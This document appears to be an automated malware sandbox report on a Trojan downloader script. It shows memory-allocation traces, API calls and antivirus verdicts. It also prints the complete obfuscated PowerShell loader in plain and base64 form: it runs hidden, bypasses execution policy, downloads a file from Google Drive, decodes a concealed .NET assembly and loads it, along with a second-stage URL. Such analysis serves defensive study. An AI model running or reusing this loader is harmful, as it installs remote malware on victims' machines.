protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02506000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02507000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02508000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02509000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e11000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e12000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e13000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e14000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e15000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e16000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e17000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e18000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e19000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e1a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e1b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e1c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e1d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e1e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e1f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e21000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e22000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e23000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e24000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
domain drive.google.com
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "IeX (('mBQ'+'imageUrl = Brthttps:'+'//drive.google.co'+'m/uc?export=download&id=17kQITFJZ1tqdqTVyc8JyKCRsAb083F4G Brt;mBQwebClient = New-Object Sys'+'tem.Net.We'+'bClient;mBQimageBytes = mBQwebClient.DownloadData(mBQimage'+'Url);mBQimageText = [Syste'+'m.Text.Encoding]::UTF8.GetString(mBQimageBytes);mBQstartFlag = Brt<<BASE64_START>>Brt;mBQendFlag = Brt<<BASE64_END>>Brt;mBQstartIndex = mBQimageText.IndexOf(mBQstartFlag);mBQendIndex = mBQimageText.IndexOf(mBQendFlag);mBQsta'+'rtIndex -ge 0 -and mBQendIndex'+' -gt mBQstartIndex;mBQstartIndex'+' += mBQstartFlag.Length;mBQbase64Length = mBQendIndex - mBQstartIndex;mBQbase'+'64Command = mBQimageText.Substring(mBQstartIndex, mBQbase64Length);mBQbase64Reversed = -join (mBQb'+'ase64Command.ToCharAr'+'ray() sIz ForEa'+'ch-Obj'+'ect { mBQ_ })[-1..-(mB'+'Qbase6'+'4C'+'ommand.Length)];mBQcommandBytes = [System.Convert]::FromBase64String(mBQbase64Re'+'versed);mBQloadedAssembly = [System.Reflection.As'+'sembly]::Load(mBQcommandBytes);mBQvaiMethod = [dnlib.IO.Home].GetMethod(BrtVAIBrt);mBQvaiMethod.Invoke(mBQnull, @(Brttxt.bbbbbbbbbbbewmadam/gro.sndkcud.reganamla'+'colyadirf//'+':ptthBrt, BrtdesativadoBrt, BrtdesativadoBrt, BrtdesativadoBrt, BrtAddI'+'nProcess32Brt, BrtdesativadoBrt, BrtdesativadoBrt)'+');').REPLace('mBQ',[STRinG][cHAr]36).REPLace(([cHAr]66+[cHAr]114+[cHAr]116),[STRinG][cHAr]39).REPLace(([cHAr]115+[cHAr]73+[cHAr]122),'|'))"
cmdline powershell -command $Codigo = 'SWVYICgoJ21CUScrJ2ltYWdlVXJsID0gQnJ0aHR0cHM6JysnLy9kcml2ZS5nb29nbGUuY28nKydtL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xN2tRSVRGSloxdHFkcVRWeWM4SnlLQ1JzQWIwODNGNEcgQnJ0O21CUXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzJysndGVtLk5ldC5XZScrJ2JDbGllbnQ7bUJRaW1hZ2VCeXRlcyA9IG1CUXdlYkNsaWVudC5Eb3dubG9hZERhdGEobUJRaW1hZ2UnKydVcmwpO21CUWltYWdlVGV4dCA9IFtTeXN0ZScrJ20uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKG1CUWltYWdlQnl0ZXMpO21CUXN0YXJ0RmxhZyA9IEJydDw8QkFTRTY0X1NUQVJUPj5CcnQ7bUJRZW5kRmxhZyA9IEJydDw8QkFTRTY0X0VORD4+QnJ0O21CUXN0YXJ0SW5kZXggPSBtQlFpbWFnZVRleHQuSW5kZXhPZihtQlFzdGFydEZsYWcpO21CUWVuZEluZGV4ID0gbUJRaW1hZ2VUZXh0LkluZGV4T2YobUJRZW5kRmxhZyk7bUJRc3RhJysncnRJbmRleCAtZ2UgMCAtYW5kIG1CUWVuZEluZGV4JysnIC1ndCBtQlFzdGFydEluZGV4O21CUXN0YXJ0SW5kZXgnKycgKz0gbUJRc3RhcnRGbGFnLkxlbmd0aDttQlFiYXNlNjRMZW5ndGggPSBtQlFlbmRJbmRleCAtIG1CUXN0YXJ0SW5kZXg7bUJRYmFzZScrJzY0Q29tbWFuZCA9IG1CUWltYWdlVGV4dC5TdWJzdHJpbmcobUJRc3RhcnRJbmRleCwgbUJRYmFzZTY0TGVuZ3RoKTttQlFiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChtQlFiJysnYXNlNjRDb21tYW5kLlRvQ2hhckFyJysncmF5KCkgc0l6IEZvckVhJysnY2gtT2JqJysnZWN0IHsgbUJRXyB9KVstMS4uLShtQicrJ1FiYXNlNicrJzRDJysnb21tYW5kLkxlbmd0aCldO21CUWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcobUJRYmFzZTY0UmUnKyd2ZXJzZWQpO21CUWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzJysnc2VtYmx5XTo6TG9hZChtQlFjb21tYW5kQnl0ZXMpO21CUXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoQnJ0VkFJQnJ0KTttQlF2YWlNZXRob2QuSW52b2tlKG1CUW51bGwsIEAoQnJ0dHh0LmJiYmJiYmJiYmJiZXdtYWRhbS9ncm8uc25ka2N1ZC5yZWdhbmFtbGEnKydjb2x5YWRpcmYvLycrJzpwdHRoQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRBZGRJJysnblByb2Nlc3MzMkJydCwgQnJ0ZGVzYXRpdmFkb0JydCwgQnJ0ZGVzYXRpdmFkb0JydCknKycpOycpLlJFUExhY2UoJ21CUScsW1NUUmluR11bY0hBcl0zNikuUkVQTGFjZSgoW2NIQXJdNjYrW2NIQXJdMTE0K1tjSEFyXTExNiksW1NUUmluR11bY0hBcl0zOSkuUkVQTGFjZSgoW2NIQXJdMTE1K1tjSEFyXTczK1tjSEFyXTEyMiksJ3wnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWVYICgoJ21CUScrJ2ltYWdlVXJsID0gQnJ0aHR0cHM6JysnLy9kcml2ZS5nb29nbGUuY28nKydtL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xN2tRSVRGSloxdHFkcVRWeWM4SnlLQ1JzQWIwODNGNEcgQnJ0O21CUXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzJysndGVtLk5ldC5XZScrJ2JDbGllbnQ7bUJRaW1hZ2VCeXRlcyA9IG1CUXdlYkNsaWVudC5Eb3dubG9hZERhdGEobUJRaW1hZ2UnKydVcmwpO21CUWltYWdlVGV4dCA9IFtTeXN0ZScrJ20uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKG1CUWltYWdlQnl0ZXMpO21CUXN0YXJ0RmxhZyA9IEJydDw8QkFTRTY0X1NUQVJUPj5CcnQ7bUJRZW5kRmxhZyA9IEJydDw8QkFTRTY0X0VORD4+QnJ0O21CUXN0YXJ0SW5kZXggPSBtQlFpbWFnZVRleHQuSW5kZXhPZihtQlFzdGFydEZsYWcpO21CUWVuZEluZGV4ID0gbUJRaW1hZ2VUZXh0LkluZGV4T2YobUJRZW5kRmxhZyk7bUJRc3RhJysncnRJbmRleCAtZ2UgMCAtYW5kIG1CUWVuZEluZGV4JysnIC1ndCBtQlFzdGFydEluZGV4O21CUXN0YXJ0SW5kZXgnKycgKz0gbUJRc3RhcnRGbGFnLkxlbmd0aDttQlFiYXNlNjRMZW5ndGggPSBtQlFlbmRJbmRleCAtIG1CUXN0YXJ0SW5kZXg7bUJRYmFzZScrJzY0Q29tbWFuZCA9IG1CUWltYWdlVGV4dC5TdWJzdHJpbmcobUJRc3RhcnRJbmRleCwgbUJRYmFzZTY0TGVuZ3RoKTttQlFiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChtQlFiJysnYXNlNjRDb21tYW5kLlRvQ2hhckFyJysncmF5KCkgc0l6IEZvckVhJysnY2gtT2JqJysnZWN0IHsgbUJRXyB9KVstMS4uLShtQicrJ1FiYXNlNicrJzRDJysnb21tYW5kLkxlbmd0aCldO21CUWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcobUJRYmFzZTY0UmUnKyd2ZXJzZWQpO21CUWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzJysnc2VtYmx5XTo6TG9hZChtQlFjb21tYW5kQnl0ZXMpO21CUXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoQnJ0VkFJQnJ0KTttQlF2YWlNZXRob2QuSW52b2tlKG1CUW51bGwsIEAoQnJ0dHh0LmJiYmJiYmJiYmJiZXdtYWRhbS9ncm8uc25ka2N1ZC5yZWdhbmFtbGEnKydjb2x5YWRpcmYvLycrJzpwdHRoQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRBZGRJJysnblByb2Nlc3MzMkJydCwgQnJ0ZGVzYXRpdmFkb0JydCwgQnJ0ZGVzYXRpdmFkb0JydCknKycpOycpLlJFUExhY2UoJ21CUScsW1NUUmluR11bY0hBcl0zNikuUkVQTGFjZSgoW2NIQXJdNjYrW2NIQXJdMTE0K1tjSEFyXTExNiksW1NUUmluR11bY0hBcl0zOSkuUkVQTGFjZSgoW2NIQXJdMTE1K1tjSEFyXTczK1tjSEFyXTEyMiksJ3wnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2092
thread_handle: 0x000002f0
process_identifier: 2088
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWVYICgoJ21CUScrJ2ltYWdlVXJsID0gQnJ0aHR0cHM6JysnLy9kcml2ZS5nb29nbGUuY28nKydtL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xN2tRSVRGSloxdHFkcVRWeWM4SnlLQ1JzQWIwODNGNEcgQnJ0O21CUXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzJysndGVtLk5ldC5XZScrJ2JDbGllbnQ7bUJRaW1hZ2VCeXRlcyA9IG1CUXdlYkNsaWVudC5Eb3dubG9hZERhdGEobUJRaW1hZ2UnKydVcmwpO21CUWltYWdlVGV4dCA9IFtTeXN0ZScrJ20uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKG1CUWltYWdlQnl0ZXMpO21CUXN0YXJ0RmxhZyA9IEJydDw8QkFTRTY0X1NUQVJUPj5CcnQ7bUJRZW5kRmxhZyA9IEJydDw8QkFTRTY0X0VORD4+QnJ0O21CUXN0YXJ0SW5kZXggPSBtQlFpbWFnZVRleHQuSW5kZXhPZihtQlFzdGFydEZsYWcpO21CUWVuZEluZGV4ID0gbUJRaW1hZ2VUZXh0LkluZGV4T2YobUJRZW5kRmxhZyk7bUJRc3RhJysncnRJbmRleCAtZ2UgMCAtYW5kIG1CUWVuZEluZGV4JysnIC1ndCBtQlFzdGFydEluZGV4O21CUXN0YXJ0SW5kZXgnKycgKz0gbUJRc3RhcnRGbGFnLkxlbmd0aDttQlFiYXNlNjRMZW5ndGggPSBtQlFlbmRJbmRleCAtIG1CUXN0YXJ0SW5kZXg7bUJRYmFzZScrJzY0Q29tbWFuZCA9IG1CUWltYWdlVGV4dC5TdWJzdHJpbmcobUJRc3RhcnRJbmRleCwgbUJRYmFzZTY0TGVuZ3RoKTttQlFiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChtQlFiJysnYXNlNjRDb21tYW5kLlRvQ2hhckFyJysncmF5KCkgc0l6IEZvckVhJysnY2gtT2JqJysnZWN0IHsgbUJRXyB9KVstMS4uLShtQicrJ1FiYXNlNicrJzRDJysnb21tYW5kLkxlbmd0aCldO21CUWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcobUJRYmFzZTY0UmUnKyd2ZXJzZWQpO21CUWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzJysnc2VtYmx5XTo6TG9hZChtQlFjb21tYW5kQnl0ZXMpO21CUXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoQnJ0VkFJQnJ0KTttQlF2YWlNZXRob2QuSW52b2tlKG1CUW51bGwsIEAoQnJ0dHh0LmJiYmJiYmJiYmJiZXdtYWRhbS9ncm8uc25ka2N1ZC5yZWdhbmFtbGEnKydjb2x5YWRpcmYvLycrJzpwdHRoQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRBZGRJJysnblByb2Nlc3MzMkJydCwgQnJ0ZGVzYXRpdmFkb0JydCwgQnJ0ZGVzYXRpdmFkb0JydCknKycpOycpLlJFUExhY2UoJ21CUScsW1NUUmluR11bY0hBcl0zNikuUkVQTGFjZSgoW2NIQXJdNjYrW2NIQXJdMTE0K1tjSEFyXTExNiksW1NUUmluR11bY0hBcl0zOSkuUkVQTGFjZSgoW2NIQXJdMTE1K1tjSEFyXTczK1tjSEFyXTEyMiksJ3wnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000002f8
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -command $Codigo = 'SWVYICgoJ21CUScrJ2ltYWdlVXJsID0gQnJ0aHR0cHM6JysnLy9kcml2ZS5nb29nbGUuY28nKydtL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xN2tRSVRGSloxdHFkcVRWeWM4SnlLQ1JzQWIwODNGNEcgQnJ0O21CUXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzJysndGVtLk5ldC5XZScrJ2JDbGllbnQ7bUJRaW1hZ2VCeXRlcyA9IG1CUXdlYkNsaWVudC5Eb3dubG9hZERhdGEobUJRaW1hZ2UnKydVcmwpO21CUWltYWdlVGV4dCA9IFtTeXN0ZScrJ20uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKG1CUWltYWdlQnl0ZXMpO21CUXN0YXJ0RmxhZyA9IEJydDw8QkFTRTY0X1NUQVJUPj5CcnQ7bUJRZW5kRmxhZyA9IEJydDw8QkFTRTY0X0VORD4+QnJ0O21CUXN0YXJ0SW5kZXggPSBtQlFpbWFnZVRleHQuSW5kZXhPZihtQlFzdGFydEZsYWcpO21CUWVuZEluZGV4ID0gbUJRaW1hZ2VUZXh0LkluZGV4T2YobUJRZW5kRmxhZyk7bUJRc3RhJysncnRJbmRleCAtZ2UgMCAtYW5kIG1CUWVuZEluZGV4JysnIC1ndCBtQlFzdGFydEluZGV4O21CUXN0YXJ0SW5kZXgnKycgKz0gbUJRc3RhcnRGbGFnLkxlbmd0aDttQlFiYXNlNjRMZW5ndGggPSBtQlFlbmRJbmRleCAtIG1CUXN0YXJ0SW5kZXg7bUJRYmFzZScrJzY0Q29tbWFuZCA9IG1CUWltYWdlVGV4dC5TdWJzdHJpbmcobUJRc3RhcnRJbmRleCwgbUJRYmFzZTY0TGVuZ3RoKTttQlFiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChtQlFiJysnYXNlNjRDb21tYW5kLlRvQ2hhckFyJysncmF5KCkgc0l6IEZvckVhJysnY2gtT2JqJysnZWN0IHsgbUJRXyB9KVstMS4uLShtQicrJ1FiYXNlNicrJzRDJysnb21tYW5kLkxlbmd0aCldO21CUWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcobUJRYmFzZTY0UmUnKyd2ZXJzZWQpO21CUWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzJysnc2VtYmx5XTo6TG9hZChtQlFjb21tYW5kQnl0ZXMpO21CUXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoQnJ0VkFJQnJ0KTttQlF2YWlNZXRob2QuSW52b2tlKG1CUW51bGwsIEAoQnJ0dHh0LmJiYmJiYmJiYmJiZXdtYWRhbS9ncm8uc25ka2N1ZC5yZWdhbmFtbGEnKydjb2x5YWRpcmYvLycrJzpwdHRoQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRBZGRJJysnblByb2Nlc3MzMkJydCwgQnJ0ZGVzYXRpdmFkb0JydCwgQnJ0ZGVzYXRpdmFkb0JydCknKycpOycpLlJFUExhY2UoJ21CUScsW1NUUmluR11bY0hBcl0zNikuUkVQTGFjZSgoW2NIQXJdNjYrW2NIQXJdMTE0K1tjSEFyXTExNiksW1NUUmluR11bY0hBcl0zOSkuUkVQTGFjZSgoW2NIQXJdMTE1K1tjSEFyXTczK1tjSEFyXTEyMiksJ3wnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
filepath: powershell
1 1 0

CreateProcessInternalW

 thread_identifier: 2204
thread_handle: 0x0000044c
process_identifier: 2200
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "IeX (('mBQ'+'imageUrl = Brthttps:'+'//drive.google.co'+'m/uc?export=download&id=17kQITFJZ1tqdqTVyc8JyKCRsAb083F4G Brt;mBQwebClient = New-Object Sys'+'tem.Net.We'+'bClient;mBQimageBytes = mBQwebClient.DownloadData(mBQimage'+'Url);mBQimageText = [Syste'+'m.Text.Encoding]::UTF8.GetString(mBQimageBytes);mBQstartFlag = Brt<<BASE64_START>>Brt;mBQendFlag = Brt<<BASE64_END>>Brt;mBQstartIndex = mBQimageText.IndexOf(mBQstartFlag);mBQendIndex = mBQimageText.IndexOf(mBQendFlag);mBQsta'+'rtIndex -ge 0 -and mBQendIndex'+' -gt mBQstartIndex;mBQstartIndex'+' += mBQstartFlag.Length;mBQbase64Length = mBQendIndex - mBQstartIndex;mBQbase'+'64Command = mBQimageText.Substring(mBQstartIndex, mBQbase64Length);mBQbase64Reversed = -join (mBQb'+'ase64Command.ToCharAr'+'ray() sIz ForEa'+'ch-Obj'+'ect { mBQ_ })[-1..-(mB'+'Qbase6'+'4C'+'ommand.Length)];mBQcommandBytes = [System.Convert]::FromBase64String(mBQbase64Re'+'versed);mBQloadedAssembly = [System.Reflection.As'+'sembly]::Load(mBQcommandBytes);mBQvaiMethod = [dnlib.IO.Home].GetMethod(BrtVAIBrt);mBQvaiMethod.Invoke(mBQnull, @(Brttxt.bbbbbbbbbbbewmadam/gro.sndkcud.reganamla'+'colyadirf//'+':ptthBrt, BrtdesativadoBrt, BrtdesativadoBrt, BrtdesativadoBrt, BrtAddI'+'nProcess32Brt, BrtdesativadoBrt, BrtdesativadoBrt)'+');').REPLace('mBQ',[STRinG][cHAr]36).REPLace(([cHAr]66+[cHAr]114+[cHAr]116),[STRinG][cHAr]39).REPLace(([cHAr]115+[cHAr]73+[cHAr]122),'|'))"
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 1
process_handle: 0x00000450
1 1 0
Symantec CL.Downloader!gen11
ESET-NOD32 VBS/TrojanDownloader.Agent.ABBQ
Avast Script:SNH-gen [Trj]
Kaspersky HEUR:Trojan.Script.Generic
Ikarus Trojan.VBS.Agent
Google Detected
huorong HEUR:TrojanDownloader/PS.NetLoader.aj
AVG Script:SNH-gen [Trj]
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
parent_process wscript.exe martian_process powershell -command $Codigo = 'SWVYICgoJ21CUScrJ2ltYWdlVXJsID0gQnJ0aHR0cHM6JysnLy9kcml2ZS5nb29nbGUuY28nKydtL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xN2tRSVRGSloxdHFkcVRWeWM4SnlLQ1JzQWIwODNGNEcgQnJ0O21CUXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzJysndGVtLk5ldC5XZScrJ2JDbGllbnQ7bUJRaW1hZ2VCeXRlcyA9IG1CUXdlYkNsaWVudC5Eb3dubG9hZERhdGEobUJRaW1hZ2UnKydVcmwpO21CUWltYWdlVGV4dCA9IFtTeXN0ZScrJ20uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKG1CUWltYWdlQnl0ZXMpO21CUXN0YXJ0RmxhZyA9IEJydDw8QkFTRTY0X1NUQVJUPj5CcnQ7bUJRZW5kRmxhZyA9IEJydDw8QkFTRTY0X0VORD4+QnJ0O21CUXN0YXJ0SW5kZXggPSBtQlFpbWFnZVRleHQuSW5kZXhPZihtQlFzdGFydEZsYWcpO21CUWVuZEluZGV4ID0gbUJRaW1hZ2VUZXh0LkluZGV4T2YobUJRZW5kRmxhZyk7bUJRc3RhJysncnRJbmRleCAtZ2UgMCAtYW5kIG1CUWVuZEluZGV4JysnIC1ndCBtQlFzdGFydEluZGV4O21CUXN0YXJ0SW5kZXgnKycgKz0gbUJRc3RhcnRGbGFnLkxlbmd0aDttQlFiYXNlNjRMZW5ndGggPSBtQlFlbmRJbmRleCAtIG1CUXN0YXJ0SW5kZXg7bUJRYmFzZScrJzY0Q29tbWFuZCA9IG1CUWltYWdlVGV4dC5TdWJzdHJpbmcobUJRc3RhcnRJbmRl